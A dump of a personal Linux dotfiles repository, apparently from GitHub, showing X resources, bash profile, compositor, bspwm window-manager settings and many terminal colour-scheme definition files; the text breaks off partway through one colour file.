├── .Xresources ├── .bash_profile ├── .bashrc ├── .compton.conf ├── .config └── bspwm │ └── bspwmrc ├── .gtkrc-2.0 ├── .profile ├── .termcolors ├── 5725 ├── 57252 ├── addy ├── anon.X ├── barrage ├── blinker ├── brown ├── bulb ├── chaires ├── chuck ├── colores ├── common ├── connect.X ├── cybergirl ├── cybergirl.X ├── cybergirl1 ├── cyberpunk.X ├── dark ├── dark.X ├── darker ├── darkshow ├── default.dark.X ├── dracu.X ├── dragon ├── faded ├── faded-test ├── flapr ├── forest ├── fsociety ├── fury ├── gruvbox ├── hue.X ├── keyload ├── lemon ├── lightblinker ├── lost.X ├── mate.X ├── nord ├── nordic ├── paints ├── parkd ├── shekar ├── skyfall ├── skyfall.X ├── slate ├── spire ├── spirl ├── synthwave ├── think ├── train ├── urban ├── urbano ├── vans ├── victory ├── xresource ├── zen └── zenburn ├── .themes └── bspwm │ ├── Powerline │ ├── config_bar │ ├── panel │ ├── panel_bar │ └── powerline.conf │ └── sxhkd │ └── sxhkdrc ├── .vimrc ├── .xinitrc ├── README.md ├── Scripts ├── backlight.sh ├── brave-sec ├── connect.X ├── convert-2.sh ├── convert.sh ├── cybergirl ├── exclide.txt ├── firefox-sec ├── flasher ├── ip.sh ├── lost.X ├── lost.X.X ├── pawr.sh ├── power-menu.sh ├── power.sh ├── rsync_tmbackup.sh ├── switch_ls ├── switch_wifi.sh ├── wallpaper.sh ├── wifi.sh └── wrapper.sh ├── config-5.14.11 ├── config-5.4.48-gentoo ├── config-gentoo └── walls ├── 492445-Kuzu_no_Honkai-anime_girls-Yasuraoka_Hanabi.jpg ├── hackingtheloop_1920.jpg ├── quiet-1554666807895-8129.jpg └── utlYSVn.jpg /.Xresources: -------------------------------------------------------------------------------- 1 | #include "/home/magdeoz/.termcolors/shekar" 2 | 3 | Xft.dpi: 101 4 | Xft.antialias: 1 5 | Xft.autohint: 0 6 | Xft.rgba: rgb 7 | Xft.hinting: 1 8 | Xft.hintstyle: hintfull 9 | Xft.lcdfilter: lcdlight 10 | 11 | *dpi: 101 12 | *antialias: 1 13 | *autohint: 0 14 | *rgba: rgb 15 | *hinting: 1 16 | *hintstyle: hintfull 17 | *lcdfilter: lcddefault 18 | 19 | Emacs.menuBar: off 20 | Emacs.toolBar: off 21 | Emacs.verticalScrollBars: off 22 | Emacs.horizontalScrollBars: off 23 | Emacs.font: Fantasque Sans Mono-13:autohint=yes 24 | 25 | *.vt100.faceName:Hack:style=Regular:pixelsize=12:antialias=true:autohint=true; 26 | 27 | *.vt100.font: 7x11 28 | XTerm.vt100.renderFont: true 29 | XTerm*boldFont: xft:Inconsolata for Powerline:style=Bold:pixelsize=14:antialias=true:hinting=true 30 | XTerm*lineSpace: 0 31 | !*letterSpace: -9 32 | XTerm.iso14755: false 33 | XTerm.iso14755_52: false 34 | XTerm.scaleHeight: 1.01 35 | xterm*scaleHeight: 1.00 36 | XTerm*borderWidth: 17 37 | *internalBorder: 5 38 | URxvt.scaleHeight: 1.01 39 | 40 | XTerm.termName: xterm-256color 41 | URxvt*termName: rxvt-256color 42 | URxvt*font: xft:Hack:style=Regular:pixelsize=12:antialias=true:hinting=1 43 | URxvt.depth: 32 44 | URxvt*lineSpace: -1 45 | !*.letterSpace: -9 46 | 47 | URxvt.iso14755: false 48 | URxvt.iso14755_52: false 49 | *.geometry: 104x23 50 | URxvt.scrollBar: false 51 | URxvt*loginShell: true 52 | URxvt.perl-ext-common: default,clipboard,selection-to-clipboard 53 | URxvt.keysym.Shift-Control-c: perl:clipboard:copy 54 | URxvt.keysym.Shift-Control-v: perl:clipboard:paste 55 | URxvt.clipboard.autocopy: true 56 | 57 | xterm*VT100.Translations: #override \ 58 | Ctrl Shift V: insert-selection(CLIPBOARD) \n\ 59 | Ctrl Shift C: copy-selection(CLIPBOARD) 60 | 61 | 62 | *.solid-background: #1d1f21 63 | *.cursorColor: bblk 64 | *background: bg 65 | *foreground: fg 66 | *borderColor: bg 67 | *color0: blk 68 | *color8: bblk 69 | *color1: red 70 | *color9: bred 71 | *color2: grn 72 | *color10: bgrn 73 | *color3: ylw 74 | *color11: bylw 75 | *color4: blu 76 | *color12: bblu 77 | *color5: mag 78 | *color13: bmag 79 | *color6: cyn 80 | *color14: bcyn 81 | *color7: wht 82 | *color15: bwht 83 | 84 | rofi.color-enabled: true 85 | rofi.color-window: bg, bg, bg 86 | rofi.color-normal: bg, fg, bg, red 87 | rofi.color-active: red 88 | rofi.color-urgent: red 89 | 90 | !rofi.lines: 2 91 | rofi.separator-style: solid 92 | rofi.width: 33 93 | rofi.height: 33 94 | rofi.line-padding: 7 95 | rofi.hide-scrollbar: True 96 | rofi.columns: 1 97 | 98 | ! xst 99 | 100 | ! ref: https://github.com/gnotclub/xst/blob/master/doc/Xresources 101 | st.termname: st-256color 102 | st.shell: /bin/zsh 103 | st.font: Iosevka Term:style=Regular:pixelsize=12:antialias=true:autohint=true; 104 | ! Available cursor values: 2 4 6 7 = █ _ | ☃ ( 1 3 5 are blinking versions) 105 | st.cursorshape: 2 106 | st.bold_font: 1 107 | st.chscale: 1.0 108 | st.cwscale: 1.0 109 | -------------------------------------------------------------------------------- /.bash_profile: -------------------------------------------------------------------------------- 1 | # 2 | # ~/.bash_profile 3 | # 4 | 5 | [[ -f ~/.bashrc ]] && . ~/.bashrc 6 | PANEL_FIFO=/tmp/panel-fifo 7 | PANEL_HEIGHT=14 8 | PANEL_FONT="-*-fixed-*-*-*-*-10-*-*-*-*-*-*-*" 9 | PANEL_WM_NAME=bspwm_panel 10 | export PANEL_FIFO PANEL_HEIGHT PANEL_FONT PANEL_WM_NAME 11 | if [ -z "$DISPLAY" ] && [ -n "$XDG_VTNR" ] && [ "$XDG_VTNR" -eq 1 ]; then 12 | exec startx 13 | fi 14 | 15 | export LIBVA_DRIVER_NAME=radeonsi 16 | export VDPAU_DRIVER=radeonsi 17 | #while true 18 | #do 19 | # IP=$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//') 20 | # export IP 21 | # sleep 10m; 22 | #done 23 | 24 | export PATH="$HOME/.cargo/bin:$PATH" 25 | PATH="$HOME/Scripts:$PATH" 26 | -------------------------------------------------------------------------------- /.bashrc: -------------------------------------------------------------------------------- 1 | # Path to your oh-my-bash installation. 2 | #export OSH=/home/magdeoz/.oh-my-bash 3 | 4 | # Set name of the theme to load. Optionally, if you set this to "random" 5 | # it'll load a random theme each time that oh-my-bash is loaded. 6 | OSH_THEME="font" 7 | 8 | # Uncomment the following line to use case-sensitive completion. 9 | # CASE_SENSITIVE="true" 10 | 11 | # Uncomment the following line to use hyphen-insensitive completion. Case 12 | # sensitive completion must be off. _ and - will be interchangeable. 13 | # HYPHEN_INSENSITIVE="true" 14 | 15 | # Uncomment the following line to disable bi-weekly auto-update checks. 16 | # DISABLE_AUTO_UPDATE="true" 17 | 18 | # Uncomment the following line to change how often to auto-update (in days). 19 | # export UPDATE_OSH_DAYS=13 20 | 21 | # Uncomment the following line to disable colors in ls. 22 | # DISABLE_LS_COLORS="true" 23 | 24 | # Uncomment the following line to disable auto-setting terminal title. 25 | # DISABLE_AUTO_TITLE="true" 26 | 27 | # Uncomment the following line to enable command auto-correction. 28 | ENABLE_CORRECTION="true" 29 | 30 | # Uncomment the following line to display red dots whilst waiting for completion. 31 | # COMPLETION_WAITING_DOTS="true" 32 | 33 | # Uncomment the following line if you want to disable marking untracked files 34 | # under VCS as dirty. This makes repository status check for large repositories 35 | # much, much faster. 36 | # DISABLE_UNTRACKED_FILES_DIRTY="true" 37 | 38 | # Uncomment the following line if you want to change the command execution time 39 | # stamp shown in the history command output. 40 | # The optional three formats: "mm/dd/yyyy"|"dd.mm.yyyy"|"yyyy-mm-dd" 41 | # HIST_STAMPS="mm/dd/yyyy" 42 | 43 | # Would you like to use another custom folder than $OSH/custom? 44 | # OSH_CUSTOM=/path/to/new-custom-folder 45 | 46 | # Which plugins would you like to load? (plugins can be found in ~/.oh-my-bash/plugins/*) 47 | # Custom plugins may be added to ~/.oh-my-bash/custom/plugins/ 48 | # Example format: plugins=(core rails git textmate ruby lighthouse) 49 | # Add wisely, as too many plugins slow down shell startup. 50 | #plugins=(core git bashmarks progress) 51 | 52 | #source $OSH/oh-my-bash.sh 53 | 54 | # User configuration 55 | 56 | # export MANPATH="/usr/local/man:$MANPATH" 57 | 58 | # You may need to manually set your language environment 59 | # export LANG=en_US.UTF-8 60 | 61 | # Preferred editor for local and remote sessions 62 | # if [[ -n $SSH_CONNECTION ]]; then 63 | # export EDITOR='vim' 64 | # else 65 | # export EDITOR='mvim' 66 | # fi 67 | 68 | # Compilation flags 69 | # export ARCHFLAGS="-arch x86_64" 70 | 71 | # ssh 72 | # export SSH_KEY_PATH="~/.ssh/rsa_id" 73 | 74 | # Set personal aliases, overriding those provided by oh-my-bash libs, 75 | # plugins, and themes. Aliases can be placed here, though oh-my-bash 76 | # users are encouraged to define aliases within the OSH_CUSTOM folder. 77 | # For a full list of active aliases, run `alias`. 78 | # 79 | # Example aliases 80 | # alias bashconfig="mate ~/.bashrc" 81 | # alias ohmybash="mate ~/.oh-my-bash" 82 | TERM=xterm-256color 83 | -------------------------------------------------------------------------------- /.compton.conf: -------------------------------------------------------------------------------- 1 | # Shadow 2 | shadow = true; 3 | no-dnd-shadow = true; 4 | no-dock-shadow = true; 5 | clear-shadow = false; 6 | shadow-exclude = [ "name = 'Notification'", "class_g = 'Conky'", "class_g ?= 'Notify-osd'", "class_g = 'Cairo-clock'","class_g = 'i3-frame'","class_g = 'kitty'" ]; 7 | shadow-radius = 8; 8 | shadow-offset-x = -8; 9 | shadow-offset-y = -8; 10 | shadow-opacity = 0.3; 11 | 12 | # Opacity 13 | blur-background = false; 14 | blur-kern = "7,7,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1" 15 | 16 | # Fading 17 | fading = true; 18 | fade-delta = 3; 19 | no-fading-openclose = false; 20 | 21 | # Other 22 | backend = "xrender" 23 | detect-rounded-corners = false; 24 | focus-exclude = [ 25 | "name = 'rofi'", 26 | "_NET_WM_WINDOW_TYPE@:a *= 'MENU'", 27 | "window_type = 'menu'", 28 | "window_type = 'utility'", 29 | "window_type = 'dropdown_menu'", 30 | "window_type = 'popup_menu'" 31 | ]; 32 | -------------------------------------------------------------------------------- /.config/bspwm/bspwmrc: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | 3 | bspc monitor -d I II III IV V 4 | gap=6 5 | 6 | export GDK_SCALE=2 & 7 | export GDK_DPI_SCALE=0.4 & 8 | 9 | #This creates negative padding eaual to window gap so that gaps are shown only between windows and not on desktop edges. 10 | bspc config window_gap $gap 11 | bspc config top_padding $(($PANEL_HEIGHT-$gap)) 12 | for side in right bottom left ; do 13 | bspc config ${side}_padding -$gap 14 | done 15 | 16 | bspc config border_width 0 17 | bspc config split_ratio 0.52 18 | bspc config borderless_monocle true 19 | bspc config gapless_monocle true 20 | bspc config history_aware_focus true 21 | bspc config adaptive raise true 22 | 23 | bspc rule -a Google-chrome desktop='^1' private=on 24 | bspc rule -a Brave-browser desktop='^1' private=on 25 | bspc rule -a XTerm desktop='^2' 26 | bspc rule -a XTerm:ncmpcpp state=floating 27 | bspc rule -a Nautilus desktop='^3' 28 | bspc rule -a Org.gnome.Nautilus desktop='^3' 29 | bspc rule -a Spotify desktop='^4' 30 | bspc rule -a Nextcloud desktop='^3' 31 | bspc rule -a telegram-desktop desktop='^4' 32 | bspc rule -a Veracrypt desktop='^4' 33 | bspc rule -a gnome-disks desktop='^5' 34 | bspc rule -a Gimp desktop='^5' follow=on state=floating 35 | bspc rule -a keepassxc desktop='^4' 36 | bspc config focus_follows_pointer true 37 | 38 | bspc config normal_border_color "#FF782e43" 39 | bspc config focused_border_color "#746081" 40 | bspc config presel_feedback_color "#746081" 41 | 42 | xsetroot -cursor_name left_ptr 43 | feh --bg-fill ~/Imágenes/walls/utlYSVn.jpg 44 | #feh --bg-fill Imágenes/walls/492445-Kuzu_no_Honkai-anime_girls-Yasuraoka_Hanabi.jpg 45 | #feh --bg-fill ~/Imágenes/261975-Quiet-video_games-brunette-gray_eyes-2D-fan_art-anime_girls-manga-Metal_Gear_Solid-kuvshinov-ilya.jpg 46 | sxhkd -c ~/.themes/bspwm/sxhkd/sxhkdrc & 47 | ~/.themes/bspwm/Powerline/panel 48 | -------------------------------------------------------------------------------- /.gtkrc-2.0: -------------------------------------------------------------------------------- 1 | # DO NOT EDIT! This file will be overwritten by LXAppearance. 2 | # Any customization should be done in ~/.gtkrc-2.0.mine instead. 3 | 4 | include "/home/magdeoz/.gtkrc-2.0.mine" 5 | gtk-theme-name="Qogir" 6 | gtk-icon-theme-name="Arc" 7 | gtk-font-name="TerminessTTF Nerd Font Mono Medium 11" 8 | gtk-cursor-theme-name="Adwaita" 9 | gtk-cursor-theme-size=0 10 | gtk-toolbar-style=GTK_TOOLBAR_BOTH 11 | gtk-toolbar-icon-size=GTK_ICON_SIZE_LARGE_TOOLBAR 12 | gtk-button-images=1 13 | gtk-menu-images=1 14 | gtk-enable-event-sounds=1 15 | gtk-enable-input-feedback-sounds=1 16 | gtk-xft-antialias=1 17 | gtk-xft-hinting=1 18 | gtk-xft-hintstyle="hintfull" 19 | gtk-xft-rgba="rgb" 20 | -------------------------------------------------------------------------------- /.profile: -------------------------------------------------------------------------------- 1 | if [ -d "$HOME/.local/bin" ]; then 2 | PATH="$HOME/.local/bin:$PATH" 3 | fi 4 | 5 | export PATH="$HOME/Scripts:$PATH" 6 | -------------------------------------------------------------------------------- /.termcolors/5725: -------------------------------------------------------------------------------- 1 | #define blk #363334 2 | #define bblk #5c575b 3 | #define red #854340 4 | #define grn #97a293 5 | #define ylw #c29f6f 6 | #define blu #5e606c 7 | #define mag #7a6054 8 | #define cyn #78746c 9 | #define wht #c3c1b8 10 | #define bred #854340 11 | #define bgrn #97a293 12 | #define bylw #c29f6f 13 | #define bblu #5e606c 14 | #define bmag #7a6054 15 | #define bcyn #78746c 16 | #define bwht #c3c1b8 17 | -------------------------------------------------------------------------------- /.termcolors/57252: -------------------------------------------------------------------------------- 1 | ! -- Title: 5725 2 | ! -- Author: dkeg 3 | ! -- Created: 2016 4 | 5 | #define bg #353234 6 | #define blk #363334 7 | #define fg #c3c1b8 8 | #define bblk #5c575b 9 | #define red #97544d 10 | #define grn #97a293 11 | #define ylw #c29f6f 12 | #define blu #5e606c 13 | #define mag #7a6054 14 | #define cyn #78746c 15 | #define wht #c3c1b8 16 | #define bred #97544d 17 | #define bgrn #97a293 18 | #define bylw #c29f6f 19 | #define bblu #5e606c 20 | #define bmag #7a6054 21 | #define bcyn #78746c 22 | #define bwht #c3c1b8 23 | 24 | -------------------------------------------------------------------------------- /.termcolors/addy: -------------------------------------------------------------------------------- 1 | #define blk #4b5262 2 | #define bblk #434a5a 3 | #define red #bf616a 4 | #define bred #b3555e 5 | #define grn #a3be8c 6 | #define bgrn #93ae7c 7 | #define ylw #ebcb8b 8 | #define bylw #dbbb7b 9 | #define blu #81a1c1 10 | #define bblu #7191b1 11 | #define mag #b48ead 12 | #define bmag #a6809f 13 | #define cyn #93e5cc 14 | #define bcyn #7bcdb4 15 | #define wht #e5e9f0 16 | #define bwht #d1d5dc 17 | -------------------------------------------------------------------------------- /.termcolors/anon.X: -------------------------------------------------------------------------------- 1 | #define bg #20252c 2 | #define fg #e8deb7 3 | #define blk #252b33 4 | #define red #882c53 5 | #define grn #618e75 6 | #define ylw #a8ab94 7 | #define blu #483970 8 | #define mag #673573 9 | #define cyn #398f8f 10 | #define wht #88898a 11 | #define bblk #323841 12 | #define bred #933a5f 13 | #define bgrn #709884 14 | #define bylw #b2b5a3 15 | #define bblu #57497a 16 | #define bmag #784583 17 | #define bcyn #2f8888 18 | #define bwht #aaaaac 19 | -------------------------------------------------------------------------------- /.termcolors/barrage: -------------------------------------------------------------------------------- 1 | autor: magdeoz 2 | !#define bg #1f262c 3 | #define bg #151515 4 | 5 | #define fg #fee1d5 6 | !#define fg #DDCCBB 7 | 8 | #define blk #3a3a3a 9 | #define bblk #505050 10 | #define red #8c5b3e 11 | #define bred #9f6744 12 | #define grn #80764d 13 | #define bgrn #80785a 14 | #define ylw #917154 15 | #define bylw #656d75 16 | #define blu #596875 17 | #define bblu #656d75 18 | #define mag #6e464b 19 | #define bmag #6e5155 20 | #define cyn #BA3D4D 21 | #define bcyn #BA3D4D 22 | #define wht #bcbcaf 23 | #define bwht #525F61 24 | -------------------------------------------------------------------------------- /.termcolors/blinker: -------------------------------------------------------------------------------- 1 | !#define bg #353234 2 | ! original 3 | !#define bg #212020 4 | ! 5 | 6 | #define bg #3f3f3f 7 | #define fg #dcdccc 8 | #define blk #33303b 9 | #define red #9E5C64 10 | #define wht #ebe0e1 11 | #define grn #74934e 12 | #define ylw #ae835a 13 | #define blu #615772 14 | #define mag #CE5363 15 | #define cyn #554757 16 | #define bwht #ebe0e1 17 | #define bblk #a49c9d 18 | #define bred #9E5C64 19 | #define bgrn #74934e 20 | #define bylw #ae835a 21 | #define bblu #615772 22 | #define bmag #CE5363 23 | #define bcyn #554757 24 | 25 | !#define fg #f7f7f5 26 | ! original 27 | !#define fg #c0a79a 28 | ! 29 | -------------------------------------------------------------------------------- /.termcolors/brown: -------------------------------------------------------------------------------- 1 | ! -- Title: brownstone 2 | ! -- Author: dkeg 3 | ! -- Created: 2016 4 | 5 | #define bg #272825 6 | #define blk #282926 7 | #define bblk #41423e 8 | #define fg #b0b0af 9 | #define red #674839 10 | #define grn #6e794f 11 | #define ylw #7e744d 12 | #define blu #3b474e 13 | #define mag #554c41 14 | #define cyn #495355 15 | #define wht #b0b0af 16 | #define bred #674839 17 | #define bgrn #6e794f 18 | #define bylw #7e744d 19 | #define bblu #3b474e 20 | #define bmag #554c41 21 | #define bcyn #495355 22 | #define bwht #c7c7c7 23 | -------------------------------------------------------------------------------- /.termcolors/bulb: -------------------------------------------------------------------------------- 1 | #define bg #0D1014 2 | #define fg #c7beb6 3 | #define blk #0D1014 4 | #define bblk #8b857f 5 | #define red #65605C 6 | #define grn #65605C 7 | #define ylw #A50E0E 8 | #define blu #826F5D 9 | #define mag #877A70 10 | #define cyn #968679 11 | #define wht #c7beb6 12 | #define bred #65605C 13 | #define bgrn #746C67 14 | #define bylw #A50E0E 15 | #define bblu #826F5D 16 | #define bmag #877A70 17 | #define bcyn #968679 18 | #define bwht #c7beb6 19 | -------------------------------------------------------------------------------- /.termcolors/chaires: -------------------------------------------------------------------------------- 1 | #define blk #3a3a45 2 | #define bblk #4f4f60 3 | #define red #a7664a 4 | #define grn #6e8c6e 5 | #define ylw #cba264 6 | #define blu #535f6b 7 | #define mag #775a62 8 | #define cyn #576e68 9 | #define wht #cdc5b7 10 | #define bred #a7664a 11 | #define bgrn #6e8c6e 12 | #define bylw #cba264 13 | #define bblu #535f6b 14 | #define bmag #775a62 15 | #define bcyn #576e68 16 | #define bwht #cdc5b7 17 | -------------------------------------------------------------------------------- /.termcolors/chuck: -------------------------------------------------------------------------------- 1 | #define bg #292d3e 2 | #define fg #ffffff 3 | 4 | #define bblk #434758 5 | #define blk #292d3e 6 | 7 | #define bred #ff8b92 8 | #define red #f07178 9 | 10 | #define bgrn #ddffa7 11 | #define grn #ddffa7 12 | 13 | #define bylw #ffe585 14 | #define ylw #ffcb6b 15 | 16 | #define bblu #9dc4ff 17 | #define blu #82aaff 18 | 19 | #define bmag #e1acff 20 | #define mag #c792ea 21 | 22 | #define bcyn #a3f7ff 23 | #define cyn #a3f7ff 24 | 25 | #define bwht #FFFFFF 26 | #define wht #d0d0d0 27 | -------------------------------------------------------------------------------- /.termcolors/colores: -------------------------------------------------------------------------------- 1 | #define bg #2b2c33 2 | #define blk #0f1616 3 | #define red #B34941 4 | #define bgrn #B38575 5 | #define bylw #3D728B 6 | #define bblu #4095A4 7 | #define bmag #A59CA2 8 | #define bcyn #D1AAA3 9 | #define bwht #d9dad7 10 | #define grn #B38575 11 | #define ylw #3D728B 12 | #define blu #4095A4 13 | #define mag #A59CA2 14 | #define cyn #D1AAA3 15 | #define wht #d9dad7 16 | #define bblk #979896 17 | #define bred #B34941 18 | #define fg #d9c1a9 19 | -------------------------------------------------------------------------------- /.termcolors/common: -------------------------------------------------------------------------------- 1 | !#define bg #232323 2 | #define fg #f7f7f5 3 | 4 | !dark 5 | #define bg #353234 6 | !#define fg #f5c497 7 | 8 | !nord 9 | !#define fg #c8b49d 10 | !#define bg #38302b 11 | -------------------------------------------------------------------------------- /.termcolors/connect.X: -------------------------------------------------------------------------------- 1 | #define bg #171c1a 2 | #define fg #585c55 3 | #define blk #171c1a 4 | #define red #6b524b 5 | #define grn #29322e 6 | #define ylw #47473d 7 | #define blu #253533 8 | #define mag #3f3f36 9 | #define cyn #374539 10 | #define wht #4d554e 11 | #define bblk #202724 12 | #define bred #7e6057 13 | #define bgrn #323d38 14 | #define bylw #505047 15 | #define bblu #2c3e3c 16 | #define bmag #3f3f36 17 | #define bcyn #3e4e40 18 | #define bwht #5e665f 19 | -------------------------------------------------------------------------------- /.termcolors/cybergirl: -------------------------------------------------------------------------------- 1 | #define bg #101110 2 | #define fg #6d787b 3 | 4 | #define blk #21312e 5 | #define bblk #1a2f2b 6 | #define red #824f2c 7 | #define bred #8e5f3f 8 | #define grn #4a6544 9 | #define bgrn #597154 10 | #define ylw #9b8f5f 11 | #define bylw #aca074 12 | #define blu #4f4e56 13 | #define bblu #61606e 14 | #define mag #5f4646 15 | #define bmag #715353 16 | #define cyn #356153 17 | #define bcyn #4a7e6e 18 | #define wht #9e928f 19 | #define bwht #b7aba7 20 | -------------------------------------------------------------------------------- /.termcolors/cybergirl.X: -------------------------------------------------------------------------------- 1 | #define bg #142320 2 | #define fg #c0b99c 3 | #define blk #21312e 4 | #define bblk #1a2f2b 5 | #define red #824f2c 6 | #define bred #8e5f3f 7 | #define grn #4a6544 8 | #define bgrn #597154 9 | #define ylw #9b8f5f 10 | #define bylw #aca074 11 | #define blu #4f4e56 12 | #define bblu #61606e 13 | #define mag #5f4646 14 | #define bmag #715353 15 | #define cyn #356153 16 | #define bcyn #4a7e6e 17 | #define wht #9e928f 18 | #define bwht #b7aba7 19 | -------------------------------------------------------------------------------- /.termcolors/cybergirl1: -------------------------------------------------------------------------------- 1 | #define bg #101110 2 | #define fg #6d787b 3 | 4 | #define blk #21312e 5 | #define bblk #1a2f2b 6 | #define red #824f2c 7 | #define bred #8e5f3f 8 | #define grn #4a6544 9 | #define bgrn #597154 10 | #define ylw #9b8f5f 11 | #define bylw #aca074 12 | #define blu #4f4e56 13 | #define bblu #61606e 14 | #define mag #5f4646 15 | #define bmag #715353 16 | #define cyn #356153 17 | #define bcyn #4a7e6e 18 | #define wht #9e928f 19 | #define bwht #b7aba7 20 | -------------------------------------------------------------------------------- /.termcolors/cyberpunk.X: -------------------------------------------------------------------------------- 1 | #define bg #14161c 2 | #define fg #989b8b 3 | #define blk #16171b 4 | #define red #a52a3a 5 | #define grn #405f5f 6 | #define ylw #383a3e 7 | #define blu #3f4158 8 | #define mag #4a394d 9 | #define cyn #4a6071 10 | #define wht #888bab 11 | #define bblk #1b1d22 12 | #define bred #c81a2a 13 | #define bgrn #4c6564 14 | #define bylw #514547 15 | #define bblu #494b5f 16 | #define bmag #6a506d 17 | #define bcyn #576a7b 18 | #define bwht #bdbef8 19 | -------------------------------------------------------------------------------- /.termcolors/dark: -------------------------------------------------------------------------------- 1 | *color0: #131217 2 | *color1: #2a211e 3 | *color2: #3d463f 4 | *color3: #49473b 5 | *color4: #222a2d 6 | *color5: #27232a 7 | *color6: #322f35 8 | *color7: #b6a8a5 9 | *color8: #18161c 10 | *color9: #302724 11 | *color10: #4c534d 12 | *color11: #4d4b40 13 | *color12: #222a2d 14 | *color13: #27232a 15 | *color14: #322f35 16 | *color15: #ddcecb 17 | *background: #111215 18 | *foreground: #5d5d5c 19 | rofi.color-normal: argb:00000000, #49473b, argb:00000000, #131217, #4d4b40 20 | rofi.color-window: #111215, #000000, #832757 -------------------------------------------------------------------------------- /.termcolors/dark.X: -------------------------------------------------------------------------------- 1 | #define bg #111215 2 | #define fg #5d5d5c 3 | #define blk #131217 4 | #define red #2a211e 5 | #define grn #3d463f 6 | #define ylw #49473b 7 | #define blu #222a2d 8 | #define mag #27232a 9 | #define cyn #322f35 10 | #define wht #b6a8a5 11 | #define bblk #18161c 12 | #define bred #302724 13 | #define bgrn #4c534d 14 | #define bylw #4d4b40 15 | #define bblu #222a2d 16 | #define bmag #27232a 17 | #define bcyn #322f35 18 | #define bwht #ddcecb 19 | -------------------------------------------------------------------------------- /.termcolors/darker: -------------------------------------------------------------------------------- 1 | !back 2 | #define blk #33303b 3 | #define bblk #4f4b58 4 | 5 | !red 6 | #define red #87404f 7 | #define bred #87404f 8 | 9 | !green 10 | #define grn #74934e 11 | #define bgrn #74934e 12 | 13 | !yellow 14 | #define ylw #ae835a 15 | #define bylw #ae835a 16 | 17 | !blue 18 | #define blu #615772 19 | #define bblu #615772 20 | 21 | !magenta 22 | #define mag #783e57 23 | #define bmag #783e57 24 | 25 | !cyan 26 | #define cyn #554757 27 | #define bcyn #554757 28 | 29 | !white 30 | #define wht #c0a79a 31 | #define bwht #c0a79a 32 | -------------------------------------------------------------------------------- /.termcolors/darkshow: -------------------------------------------------------------------------------- 1 | #define blk #4a3637 2 | #define bblk #4a3637 3 | 4 | #define red #d17b49 5 | #define bred #d17b49 6 | 7 | #define grn #7b8748 8 | #define bgrn #7b8748 9 | 10 | #define ylw #af865a 11 | #define bylw #af865a 12 | 13 | #define blu #535c5c 14 | #define bblu #535c5c 15 | 16 | #define mag #775759 17 | #define bmag #775759 18 | 19 | #define cyn #6d715e 20 | #define bcyn #6d715e 21 | 22 | #define wht #c0b18b 23 | #define bwht #c0b18b 24 | 25 | #define bg #1f1f1f 26 | #define fg #c0b18b 27 | -------------------------------------------------------------------------------- /.termcolors/default.dark.X: -------------------------------------------------------------------------------- 1 | #define bg #151515 2 | #define fg #d0d0d0 3 | #define blk #151515 4 | #define bblk #505050 5 | #define red #ac4142 6 | #define bred #ac4142 7 | #define grn #90a959 8 | #define bgrn #90a959 9 | #define ylw #f4bf75 10 | #define bylw #f4bf75 11 | #define blu #6a9fb5 12 | #define bblu #6a9fb5 13 | #define mag #aa759f 14 | #define bmag #aa759f 15 | #define cyn #75b5aa 16 | #define bcyn #75b5aa 17 | #define wht #d0d0d0 18 | #define bwht #f5f5f5 19 | -------------------------------------------------------------------------------- /.termcolors/dracu.X: -------------------------------------------------------------------------------- 1 | !#define bg #282A36 2 | #define bg #0D1014 3 | #define fg #c7beb6 4 | #define blk #000000 5 | #define bblk #4D4D4D 6 | #define red #FF5555 7 | #define bred #FF6E67 8 | #define grn #A3BE8C 9 | #define bgrn #A3BE8C 10 | #define ylw #F1FA8C 11 | #define bylw #F4F99D 12 | #define blu #BD93F9 13 | #define bblu #CAA9FA 14 | #define mag #FF79C6 15 | #define bmag #FF92D0 16 | #define cyn #8BE9FD 17 | #define bcyn #9AEDFE 18 | #define wht #BFBFBF 19 | #define bwht #E6E6E6 20 | -------------------------------------------------------------------------------- /.termcolors/dragon: -------------------------------------------------------------------------------- 1 | #define bg #101110 2 | #define fg #6d787b 3 | 4 | #define blk #3a3a3a 5 | #define bblk #505050 6 | #define red #8c5b3e 7 | #define bred #9f6744 8 | #define grn #80764d 9 | #define bgrn #80785a 10 | #define ylw #917154 11 | #define bylw #656d75 12 | #define blu #596875 13 | #define bblu #656d75 14 | #define mag #6e464b 15 | #define bmag #6e5155 16 | #define cyn #BA3D4D 17 | #define bcyn #BA3D4D 18 | #define wht #bcbcaf 19 | #define bwht #525F61 20 | 21 | !#define blk #171917 22 | !#define bblk #262826 23 | !#define red #665059 24 | !#define bred #744b5a 25 | !#define grn #58625a 26 | !#define bgrn #5e6b61 27 | !#define ylw #616258 28 | !#define bylw #6d6d66 29 | !#define blu #6c7179 30 | !#define bblu #7e838c 31 | !#define mag #666069 32 | !#define bmag #7a7080 33 | !#define cyn #5c7176 34 | !#define bcyn #67878c 35 | !#define wht #7c8b8e 36 | !#define bwht #98a7aa 37 | -------------------------------------------------------------------------------- /.termcolors/faded: -------------------------------------------------------------------------------- 1 | #define bg #2e3440 2 | #define fg #c5c8c6 3 | #define blk #2e3440 4 | #define red #b77a76 5 | #define grn #b4bf86 6 | #define ylw #cbb079 7 | #define blu #83a2be 8 | #define mag #958090 9 | #define cyn #7daea9 10 | #define wht #c5c8c6 11 | #define bblk #656565 12 | #define bred #b77a76 13 | #define bgrn #b4bf86 14 | #define bylw #cbb079 15 | #define bblu #83a2be 16 | #define bmag #958090 17 | #define bcyn #7daea9 18 | #define bwht #ffffff 19 | -------------------------------------------------------------------------------- /.termcolors/faded-test: -------------------------------------------------------------------------------- 1 | #define bg #2e3440 2 | #define fg #c5c8c6 3 | #define blk #2e3440 4 | #define red #b77a76 5 | #define grn #b4bf86 6 | #define ylw #cbb079 7 | #define blu #83a2be 8 | #define mag #958090 9 | #define cyn #7daea9 10 | #define wht #c5c8c6 11 | #define bblk #656565 12 | #define bred #b77a76 13 | #define bgrn #b4bf86 14 | #define bylw #cbb079 15 | #define bblu #83a2be 16 | #define bmag #958090 17 | #define bcyn #7daea9 18 | #define bwht #ffffff 19 | -------------------------------------------------------------------------------- /.termcolors/flapr: -------------------------------------------------------------------------------- 1 | ! -- Title: flapr 2 | ! -- Author: dkeg 3 | ! -- Created: 2016 4 | 5 | #define bg #2f2832 6 | #define blk #302833 7 | #define fg #bcb5b5 8 | #define bblk 